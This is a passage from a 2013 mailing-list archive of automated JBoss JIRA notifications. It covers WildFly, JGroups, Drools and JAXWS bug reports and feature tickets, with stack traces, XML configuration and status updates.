> Caused by: org.jboss.as.connector.util.ParserException: IJ010061: Unexpected element: archive
> 	at org.jboss.as.connector.subsystems.resourceadapters.ResourceAdapterParser.parseResourceAdapters(ResourceAdapterParser.java:127)
> 	at org.jboss.as.connector.subsystems.resourceadapters.ResourceAdapterParser.parse(ResourceAdapterParser.java:89)
> 	at org.jboss.as.connector.subsystems.resourceadapters.ResourceAdapterSubsystemParser.readElement(ResourceAdapterSubsystemParser.java:354)
> 	... 13 more
> 12:23:54,492 FATAL [org.jboss.as.server] (Controller Boot Thread) JBAS015957: Server boot has failed in an unrecoverable manner; exiting. See previous messages for details.
> 12:23:54,576 INFO  [org.jboss.as] (MSC service thread 1-2) JBAS015950: WildFly 8.0.0.Alpha4 "WildFly" stopped in 6ms
> {noformat}
> Below is the resource adapter configuration:
> {code:xml}
> <subsystem xmlns="urn:jboss:domain:resource-adapters:1.1">
>     <resource-adapters>
>         <resource-adapter>
>             <archive>wmq.jmsra.rar</archive>
>             <config-property name="Name">WebsphereMQ_Resource</config-property>
>             <transaction-support>NoTransaction</transaction-support>
>             <connection-definitions>
>                 <connection-definition class-name="com.ibm.mq.connector.outbound.ManagedConnectionFactoryImpl" jndi-name="java:mq/MY_QMGR_CF" pool-name="MY_QMGR_CF">
>                     <config-property name="channel">CLIENT.my_qmgr</config-property>
>                     <config-property name="transportType">CLIENT</config-property>
>                     <config-property name="queueManager">my_qmgr</config-property>
>                     <config-property name="port">1420</config-property>
>                     <config-property name="hostName">localhost</config-property>
>                     <validation>
>                         <background-validation>true</background-validation>
>                         <background-validation-millis>0</background-validation-millis>
>                     </validation>
>                 </connection-definition>
>             </connection-definitions>
>             <admin-objects>
>                 <admin-object class-name="com.ibm.mq.connector.outbound.MQQueueProxy" jndi-name="java:mq/TEST_WILDFLY_8" pool-name="TEST_WILDFLY_8_POOL">
>                     <config-property name="baseQueueManagerName">my_qmgr</config-property>
>                     <config-property name="baseQueueName">TEST_WILDFLY_8</config-property>
>                 </admin-object>
>             </admin-objects>
>         </resource-adapter>
>     </resource-adapters>
> </subsystem>
> {code}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep  5 05:14:03 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Thu, 5 Sep 2013 05:14:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1317) Compress Digest and
	MutableDigest
In-Reply-To: <JIRA.12436429.1304073168000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12436429.1304073168000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12436429.1304073168000.10443.1378372443501@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JGRP-1317?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12801816#comment-12801816 ] 

Bela Ban commented on JGRP-1317:
--------------------------------

More optimizations (in conjunction with delta views, JGRP-1354):
* Send the full view and digest to the joining member(s)
* Send only the *delta view* to the existing members, e.g. when D and E join and B leaves:
** DeltaView(+D,E -B)
* Send *no* digest to *existing members* ! 
** For -B, NAKACK will simply remove B from the xmit-table
** For +D,E, existing members will add entries to the xmit-table for D and E at seqnos [0 (0)]; we don't need to send a digest here
*** This is a great optimization, as we'd avoid sending the full view and the full digest to existing members on every JOIN

* For a state transfer we need to send the full digest
* For a merge we probably also need to send the ful view and digest
* When the coordinators change, we should probably also send the full view and digest (TBI)
                
> Compress Digest and MutableDigest
> ---------------------------------
>
>                 Key: JGRP-1317
>                 URL: https://issues.jboss.org/browse/JGRP-1317
>             Project: JGroups
>          Issue Type: Feature Request
>            Reporter: Bela Ban
>            Assignee: Bela Ban
>             Fix For: 3.4
>
>
> For large clusters, STABLE messages are quite large, and should be compressed to be sent over the wire. 
> STABLE messages are sent between members in the same view, so we could only send the ViewId + highest_delivered/highest_received seqnos.
> Everybody who receives a STABLE message grabs the View associated with the ViewId (should be the current view !) and creates a Digest based on the View and the long[] array.
> Further optimization:
> - Canonicalize digests: if everyone has (14) 20, 22, then we could write it once, give it an ID of (say) 1 and then only refer to 1 again if we encounter the same digest. Actually, as a matter of fact, most of the digests would be the same, so this optimization could have a big effect !

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep  5 05:52:03 2013
From: jira-events at lists.jboss.org (Philipp Herzig (JIRA))
Date: Thu, 5 Sep 2013 05:52:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-252) Deserialization with
 TimerJobFactoryOption causes NPE -
In-Reply-To: <JIRA.12500035.1378374715615@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500035.1378374715615@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500035.1378374715615.10486.1378374723633@jira02.app.mwc.hst.phx2.redhat.com>

Philipp Herzig created DROOLS-252:
-------------------------------------

             Summary: Deserialization with TimerJobFactoryOption causes NPE - 
                 Key: DROOLS-252
                 URL: https://issues.jboss.org/browse/DROOLS-252
             Project: Drools
          Issue Type: Bug
      Security Level: Public (Everyone can see)
    Affects Versions: 5.5.0.Final
            Reporter: Philipp Herzig
            Assignee: Mark Proctor


In 5.5.0 the unmarshalling of a stateful sessions causes the following NPE trace when KnowledgeSessionConfiguration.setOption(TimerJobFactoryOption.get("trackable"));  is set! This worked fine under 5.4.0 where the options was still set with ((SessionConfiguration) this.conf).setTimerJobFactoryManager(new TrackableTimeJobFactoryManager());

The error only occurs with the option set, no w/o it and iff temporal operators are present. In my cases I simply used a over window:time(x) operator.

Steps to reproduce:

1. Create two rules one w/ time window (1) and one w/o time window (2)
2. Do not active rule (2)
3. Send an event that would potentially activate (2)
4. Unmarshall Session (i.e., simulate the recovery from a system failure)
5. Activate (2)
6. Exception







java.lang.NullPointerException
	at org.drools.reteoo.ReteooWorkingMemory$WorkingMemoryReteExpireAction.serialize(ReteooWorkingMemory.java:495)
	at org.drools.marshalling.impl.ProtobufOutputMarshaller.writeActionQueue(ProtobufOutputMarshaller.java:454)
	at org.drools.marshalling.impl.ProtobufOutputMarshaller.serializeSession(ProtobufOutputMarshaller.java:145)
	at org.drools.marshalling.impl.ProtobufOutputMarshaller.writeSession(ProtobufOutputMarshaller.java:100)
	at org.drools.marshalling.impl.ProtobufMarshaller.marshall(ProtobufMarshaller.java:169)
	at org.drools.marshalling.impl.ProtobufMarshaller.marshall(ProtobufMarshaller.java:151)
	at com.sap.gamification.ruleengine.RuleEngine.getSnapshot(RuleEngine.java:603)
	at com.sap.gamification.ruleengine.RuleEngine.storeSession(RuleEngine.java:567)
	at com.sap.gamification.ruleengine.TrackingAgendaEventListener.activationCreated(TrackingAgendaEventListener.java:45)
	at org.drools.impl.StatefulKnowledgeSessionImpl$AgendaEventListenerWrapper.activationCreated(StatefulKnowledgeSessionImpl.java:643)
	at org.drools.event.AgendaEventSupport.fireActivationCreated(AgendaEventSupport.java:41)
	at org.drools.common.DefaultAgenda.createActivation(DefaultAgenda.java:602)
	at org.drools.reteoo.RuleTerminalNode.assertLeftTuple(RuleTerminalNode.java:253)
	at org.drools.reteoo.JoinNode.updateSink(JoinNode.java:411)
	at org.drools.reteoo.RuleTerminalNode.attach(RuleTerminalNode.java:346)
	at org.drools.reteoo.builder.ReteooRuleBuilder.addSubRule(ReteooRuleBuilder.java:174)
	at org.drools.reteoo.builder.ReteooRuleBuilder.addRule(ReteooRuleBuilder.java:134)
	at org.drools.reteoo.ReteooBuilder.addRule(ReteooBuilder.java:113)
	at org.drools.reteoo.ReteooRuleBase.addRule(ReteooRuleBase.java:445)
	at org.drools.common.AbstractRuleBase.addRule(AbstractRuleBase.java:952)
	at org.drools.common.AbstractRuleBase.addPackages(AbstractRuleBase.java:629)
	at org.drools.reteoo.ReteooRuleBase.addPackages(ReteooRuleBase.java:472)
	at org.drools.impl.KnowledgeBaseImpl.addKnowledgePackages(KnowledgeBaseImpl.java:149)
	at com.sap.gamification.ruleengine.RuleEngine.addKnowledgeToBase(RuleEngine.java:477)
	at com.sap.gamification.ruleengine.RuleEngine.loadRule(RuleEngine.java:428)
	at com.sap.gamification.ruleengine.RuleEngine.addRuleToEngine(RuleEngine.java:435)
	at com.sap.gamification.ruleengine.RuleService.deployRule(RuleService.java:144)
	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
	at sun.reflect.NativeMethodAccessorImpl.invoke(Unknown Source)
	at sun.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source)
	at java.lang.reflect.Method.invoke(Unknown Source)
	at com.sap.gamification.receive.GenericJsonMarshalling.invokeMethod(GenericJsonMarshalling.java:190)
	at com.sap.gamification.receive.JsonRPC.executeRequest(JsonRPC.java:108)
	at com.sap.gamification.ruleengine.web.RuleServiceServlet.doPost(RuleServiceServlet.java:54)
	at javax.servlet.http.HttpServlet.service(HttpServlet.java:755)
	at javax.servlet.http.HttpServlet.service(HttpServlet.java:848)
	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:305)
	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:210)
	at com.sap.gamification.security.LocalHostFilter.doFilter(LocalHostFilter.java:46)
	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:243)
	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:210)
	at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:222)
	at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:123)
	at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:472)
	at com.sap.security.auth.service.webcontainer.internal.Authenticator.invoke(Authenticator.java:147)
	at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:171)
	at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:99)
	at com.sap.core.tenant.valve.TenantValidationValve.invokeNextValve(TenantValidationValve.java:169)
	at com.sap.core.tenant.valve.TenantValidationValve.invoke(TenantValidationValve.java:85)
	at com.sap.core.js.monitoring.tomcat.valve.RequestTracingValve.invoke(RequestTracingValve.java:27)
	at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:118)
	at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:407)
	at org.apache.coyote.http11.AbstractHttp11Processor.process(AbstractHttp11Processor.java:1004)
	at org.apache.coyote.AbstractProtocol$AbstractConnectionHandler.process(AbstractProtocol.java:589)
	at org.apache.tomcat.util.net.JIoEndpoint$SocketProcessor.run(JIoEndpoint.java:312)
	at java.util.concurrent.ThreadPoolExecutor$Worker.runTask(Unknown Source)
	at java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source)
	at java.lang.Thread.run(Unknown Source)

Unexpected exception executing action org.drools.reteoo.ReteooWorkingMemory$WorkingMemoryReteExpireAction at 5e2a4a68
org.drools.RuntimeDroolsException: Unexpected exception executing action org.drools.reteoo.ReteooWorkingMemory$WorkingMemoryReteExpireAction at 5e2a4a68
	at org.drools.common.AbstractWorkingMemory.executeQueuedActions(AbstractWorkingMemory.java:995)
	at org.drools.common.AbstractWorkingMemory.fireAllRules(AbstractWorkingMemory.java:707)
	at org.drools.common.AbstractWorkingMemory.fireAllRules(AbstractWorkingMemory.java:674)
	at org.drools.impl.StatefulKnowledgeSessionImpl.fireAllRules(StatefulKnowledgeSessionImpl.java:230)
	at com.sap.gamification.ruleengine.RuleEngine.fireRules(RuleEngine.java:539)
	at com.sap.gamification.ruleengine.RuleEngine.addRuleToEngine(RuleEngine.java:437)
	at com.sap.gamification.ruleengine.RuleService.deployRule(RuleService.java:144)
	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
	at sun.reflect.NativeMethodAccessorImpl.invoke(Unknown Source)
	at sun.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source)
	at java.lang.reflect.Method.invoke(Unknown Source)
	at com.sap.gamification.receive.GenericJsonMarshalling.invokeMethod(GenericJsonMarshalling.java:190)
	at com.sap.gamification.receive.JsonRPC.executeRequest(JsonRPC.java:108)
	at com.sap.gamification.ruleengine.web.RuleServiceServlet.doPost(RuleServiceServlet.java:54)
	at javax.servlet.http.HttpServlet.service(HttpServlet.java:755)
	at javax.servlet.http.HttpServlet.service(HttpServlet.java:848)
	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:305)
	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:210)
	at com.sap.gamification.security.LocalHostFilter.doFilter(LocalHostFilter.java:46)
	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:243)
	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:210)
	at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:222)
	at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:123)
	at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:472)
	at com.sap.security.auth.service.webcontainer.internal.Authenticator.invoke(Authenticator.java:147)
	at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:171)
	at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:99)
	at com.sap.core.tenant.valve.TenantValidationValve.invokeNextValve(TenantValidationValve.java:169)
	at com.sap.core.tenant.valve.TenantValidationValve.invoke(TenantValidationValve.java:85)
	at com.sap.core.js.monitoring.tomcat.valve.RequestTracingValve.invoke(RequestTracingValve.java:27)
	at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:118)
	at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:407)
	at org.apache.coyote.http11.AbstractHttp11Processor.process(AbstractHttp11Processor.java:1004)
	at org.apache.coyote.AbstractProtocol$AbstractConnectionHandler.process(AbstractProtocol.java:589)
	at org.apache.tomcat.util.net.JIoEndpoint$SocketProcessor.run(JIoEndpoint.java:312)
	at java.util.concurrent.ThreadPoolExecutor$Worker.runTask(Unknown Source)
	at java.util.concurrent.ThreadPoolExecutor$Worker.run(Unknown Source)
	at java.lang.Thread.run(Unknown Source)
Caused by: java.lang.NullPointerException
	at org.drools.reteoo.ReteooWorkingMemory$WorkingMemoryReteExpireAction.execute(ReteooWorkingMemory.java:505)
	at org.drools.common.AbstractWorkingMemory.executeQueuedActions(AbstractWorkingMemory.java:993)
	... 37 more

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep  5 06:04:03 2013
From: jira-events at lists.jboss.org (Tomaz Cerar (JIRA))
Date: Thu, 5 Sep 2013 06:04:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-518) JSR-245 JSP 2.3 Support
In-Reply-To: <JIRA.12485399.1361487420000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12485399.1361487420000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12485399.1361487420000.10508.1378375443570@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-518?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Tomaz Cerar resolved WFLY-518.
------------------------------

    Resolution: Done

    
> JSR-245 JSP 2.3 Support
> -----------------------
>
>                 Key: WFLY-518
>                 URL: https://issues.jboss.org/browse/WFLY-518
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Web (Undertow)
>            Reporter: David Lloyd
>             Fix For: 8.0.0.Beta1
>
>
> Per Java EE 7, update to JSP 2.3 API and implementation.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep  5 06:06:03 2013
From: jira-events at lists.jboss.org (Tomaz Cerar (JIRA))
Date: Thu, 5 Sep 2013 06:06:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-519) JSR-341 EL 3.0 support
In-Reply-To: <JIRA.12485400.1361487486000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12485400.1361487486000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12485400.1361487486000.10516.1378375563711@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-519?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Tomaz Cerar resolved WFLY-519.
------------------------------

    Resolution: Done


Resolving given that TCK is passing.
                
> JSR-341 EL 3.0 support
> ----------------------
>
>                 Key: WFLY-519
>                 URL: https://issues.jboss.org/browse/WFLY-519
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Web (Undertow)
>            Reporter: David Lloyd
>            Assignee: Remy Maucherat
>             Fix For: 8.0.0.Beta1
>
>
> Per Java EE 7 spec, update to EL 3.0 API and implementation.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep  5 06:08:04 2013
From: jira-events at lists.jboss.org (Paul Robinson (JIRA))
Date: Thu, 5 Sep 2013 06:08:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1892) Update Narayana to 5.0.0.M4
In-Reply-To: <JIRA.12498722.1376636821000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12498722.1376636821000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12498722.1376636821000.10525.1378375684181@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1892?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Paul Robinson resolved WFLY-1892.
---------------------------------

    Resolution: Done

    
> Update Narayana to 5.0.0.M4
> ---------------------------
>
>                 Key: WFLY-1892
>                 URL: https://issues.jboss.org/browse/WFLY-1892
>             Project: WildFly
>          Issue Type: Component  Upgrade
>          Components: Transactions
>            Reporter: Paul Robinson
>            Assignee: Paul Robinson
>             Fix For: 8.0.0.Beta1
>
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep  5 06:08:05 2013
From: jira-events at lists.jboss.org (Tomaz Cerar (JIRA))
Date: Thu, 5 Sep 2013 06:08:05 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-508) JSR-352 Batch Applications API
	support
In-Reply-To: <JIRA.12485208.1361308688000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12485208.1361308688000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12485208.1361308688000.10546.1378375685104@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-508?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12801832#comment-12801832 ] 

Tomaz Cerar commented on WFLY-508:
----------------------------------

How are we looking with this?
                
> JSR-352 Batch Applications API support
> --------------------------------------
>
>                 Key: WFLY-508
>                 URL: https://issues.jboss.org/browse/WFLY-508
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: EE
>            Reporter: David Lloyd
>            Assignee: Cheng Fang
>             Fix For: 8.0.0.Beta1
>
>
> Support the Batch Applications for the Java Platform 1.0 spec as per Java EE 7 specification.
> spec, RI & TCK page: http://java.net/projects/jbatch

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep  5 06:08:05 2013
From: jira-events at lists.jboss.org (Tomaz Cerar (JIRA))
Date: Thu, 5 Sep 2013 06:08:05 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-531) JSR-196 JASPIC 1.1 Support
In-Reply-To: <JIRA.12488516.1364997991000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12488516.1364997991000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12488516.1364997991000.10560.1378375685801@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-531?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12801833#comment-12801833 ] 

Tomaz Cerar commented on WFLY-531:
----------------------------------

Stefan, is there any update?
                
> JSR-196 JASPIC 1.1 Support
> --------------------------
>
>                 Key: WFLY-531
>                 URL: https://issues.jboss.org/browse/WFLY-531
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Security
>            Reporter: David Lloyd
>            Assignee: Stefan Guilhen
>             Fix For: 8.0.0.Beta1
>
>
> Provide support for the 1.1 maintenance release of JASPIC.
> http://jcp.org/aboutJava/communityprocess/maintenance/jsr196/196ChangeLog.html

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep  5 06:57:03 2013
From: jira-events at lists.jboss.org (Alessio Soldano (JIRA))
Date: Thu, 5 Sep 2013 06:57:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBEE-134) Permission check failed for
 ("java.lang.RuntimePermission" "getBootModuleLoader") in JAXWS
 FactoryFinder
In-Reply-To: <JIRA.12496826.1374166124000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12496826.1374166124000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12496826.1374166124000.10661.1378378623818@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JBEE-134?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Alessio Soldano resolved JBEE-134.
----------------------------------

    Resolution: Done

    
> Permission check failed for ("java.lang.RuntimePermission" "getBootModuleLoader") in JAXWS FactoryFinder
> --------------------------------------------------------------------------------------------------------
>
>                 Key: JBEE-134
>                 URL: https://issues.jboss.org/browse/JBEE-134
>             Project: JBoss JavaEE Spec APIs
>          Issue Type: Bug
>          Components: jboss-jaxws-api
>            Reporter: Alessio Soldano
>            Assignee: Alessio Soldano
>
> When creating a in-container JAXWS client with WFLY security manager extension on, the following exception is thrown:
> {noformat}
> 17:47:45,409 ERROR [org.jboss.as.webservices.invocation.InvocationHandlerJAXWS] (default task-3) JBAS015594: Method invocation failed with exception: java.lang.reflect.InvocationTargetException: javax.xml.ws.WebServiceException: java.lang.reflect.InvocationTargetException
> 	at javax.xml.ws.spi.FactoryFinder.find(FactoryFinder.java:136) [jboss-jaxws-api_2.2_spec-2.0.1.Final.jar:2.0.1.Final]
> 	at javax.xml.ws.spi.Provider.provider(Provider.java:108) [jboss-jaxws-api_2.2_spec-2.0.1.Final.jar:2.0.1.Final]
> 	at javax.xml.ws.Service.<init>(Service.java:57) [jboss-jaxws-api_2.2_spec-2.0.1.Final.jar:2.0.1.Final]
> 	at javax.xml.ws.Service.create(Service.java:687) [jboss-jaxws-api_2.2_spec-2.0.1.Final.jar:2.0.1.Final]
> 	at org.jboss.test.ws.jaxws.cxf.bus.ClientEndpointImpl.getService(ClientEndpointImpl.java:89) [classes:]
> 	at org.jboss.test.ws.jaxws.cxf.bus.ClientEndpointImpl.testCachedService(ClientEndpointImpl.java:63) [classes:]
> 	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) [rt.jar:1.7.0_17]
> 	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57) [rt.jar:1.7.0_17]
> 	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) [rt.jar:1.7.0_17]
> 	at java.lang.reflect.Method.invoke(Method.java:601) [rt.jar:1.7.0_17]
> 	at org.jboss.as.ee.component.ManagedReferenceMethodInterceptorFactory$ManagedReferenceMethodInterceptor.processInvocation(ManagedReferenceMethodInterceptorFactory.java:72)
> 	at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:309)
> 	at org.jboss.invocation.WeavedInterceptor.processInvocation(WeavedInterceptor.java:53)
> 	at org.jboss.as.ee.component.interceptors.UserInterceptorFactory$1.processInvocation(UserInterceptorFactory.java:63)
> 	at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:309)
> 	at org.jboss.invocation.WeavedInterceptor.processInvocation(WeavedInterceptor.java:53)
> 	at org.jboss.as.ee.component.interceptors.UserInterceptorFactory$1.processInvocation(UserInterceptorFactory.java:63)
> 	at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:309)
> 	at org.jboss.invocation.InitialInterceptor.processInvocation(InitialInterceptor.java:21)
> 	at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:309)
> 	at org.jboss.invocation.ChainedInterceptor.processInvocation(ChainedInterceptor.java:61)
> 	at org.jboss.as.ee.component.interceptors.ComponentDispatcherInterceptor.processInvocation(ComponentDispatcherInterceptor.java:53)
> 	at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:309)
> 	at org.jboss.as.webservices.deployers.WSComponentInstanceAssociationInterceptor.processInvocation(WSComponentInstanceAssociationInterceptor.java:49)
> 	at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:309)
> 	at org.jboss.invocation.InterceptorContext.run(InterceptorContext.java:325)
> 	at org.wildfly.security.manager.WildFlySecurityManager.doChecked(WildFlySecurityManager.java:428)
> 	at org.wildfly.security.manager.AccessCheckingInterceptor.processInvocation(AccessCheckingInterceptor.java:63)
> 	at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:309)
> 	at org.jboss.invocation.InterceptorContext.run(InterceptorContext.java:325)
> 	at java.security.AccessController.doPrivileged(Native Method) [rt.jar:1.7.0_17]
> 	at org.jboss.invocation.PrivilegedInterceptor.processInvocation(PrivilegedInterceptor.java:75)
> 	at org.jboss.invocation.InterceptorContext.proceed(InterceptorContext.java:309)
> 	at org.jboss.invocation.ChainedInterceptor.processInvocation(ChainedInterceptor.java:61)
> 	at org.jboss.as.ee.component.ViewService$View.invoke(ViewService.java:165)
> 	at org.jboss.as.webservices.invocation.AbstractInvocationHandler.invoke(AbstractInvocationHandler.java:112)
> 	at org.jboss.wsf.stack.cxf.JBossWSInvoker.performInvocation(JBossWSInvoker.java:149)
> 	at org.apache.cxf.service.invoker.AbstractInvoker.invoke(AbstractInvoker.java:96) [cxf-api.jar:2.7.6.SNAPSHOT]
> 	at org.apache.cxf.jaxws.AbstractJAXWSMethodInvoker.invoke(AbstractJAXWSMethodInvoker.java:178)
> 	at org.apache.cxf.jaxws.JAXWSMethodInvoker.invoke(JAXWSMethodInvoker.java:68)
> 	at org.jboss.wsf.stack.cxf.JBossWSInvoker.invoke(JBossWSInvoker.java:129)
> 	at org.apache.cxf.interceptor.ServiceInvokerInterceptor$1.run(ServiceInvokerInterceptor.java:57) [cxf-api.jar:2.7.6.SNAPSHOT]
> 	at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:471) [rt.jar:1.7.0_17]
> 	at java.util.concurrent.FutureTask$Sync.innerRun(FutureTask.java:334) [rt.jar:1.7.0_17]
> 	at java.util.concurrent.FutureTask.run(FutureTask.java:166) [rt.jar:1.7.0_17]
> 	at org.apache.cxf.workqueue.SynchronousExecutor.execute(SynchronousExecutor.java:37) [cxf-api.jar:2.7.6.SNAPSHOT]
> 	at org.apache.cxf.interceptor.ServiceInvokerInterceptor.handleMessage(ServiceInvokerInterceptor.java:106) [cxf-api.jar:2.7.6.SNAPSHOT]
> 	at org.apache.cxf.phase.PhaseInterceptorChain.doIntercept(PhaseInterceptorChain.java:271) [cxf-api.jar:2.7.6.SNAPSHOT]
> 	at org.apache.cxf.transport.ChainInitiationObserver.onMessage(ChainInitiationObserver.java:121) [cxf-api.jar:2.7.6.SNAPSHOT]
> 	at org.apache.cxf.transport.http.AbstractHTTPDestination.invoke(AbstractHTTPDestination.java:239)
> 	at org.jboss.wsf.stack.cxf.RequestHandlerImpl.handleHttpRequest(RequestHandlerImpl.java:93)
> 	at org.jboss.wsf.stack.cxf.transport.ServletHelper.callRequestHandler(ServletHelper.java:143)
> 	at org.jboss.wsf.stack.cxf.CXFServletExt.invoke(CXFServletExt.java:87)
> 	at org.apache.cxf.transport.servlet.AbstractHTTPServlet.handleRequest(AbstractHTTPServlet.java:286)
> 	at org.apache.cxf.transport.servlet.AbstractHTTPServlet.doPost(AbstractHTTPServlet.java:206)
> 	at javax.servlet.http.HttpServlet.service(HttpServlet.java:707) [jboss-servlet-api_3.1_spec-1.0.0.Beta1.jar:1.0.0.Beta1]
> 	at org.jboss.wsf.stack.cxf.CXFServletExt.service(CXFServletExt.java:135)
> 	at org.jboss.wsf.spi.deployment.WSFServlet.service(WSFServlet.java:140) [jbossws-spi.jar:2.2.0-SNAPSHOT]
> 	at javax.servlet.http.HttpServlet.service(HttpServlet.java:790) [jboss-servlet-api_3.1_spec-1.0.0.Beta1.jar:1.0.0.Beta1]
> 	at io.undertow.servlet.handlers.ServletHandler.handleRequest(ServletHandler.java:87) [undertow-servlet-1.0.0.Beta3.jar:1.0.0.Beta3]
> 	at io.undertow.servlet.handlers.FilterHandler$FilterChainImpl.doFilter(FilterHandler.java:130) [undertow-servlet-1.0.0.Beta3.jar:1.0.0.Beta3]
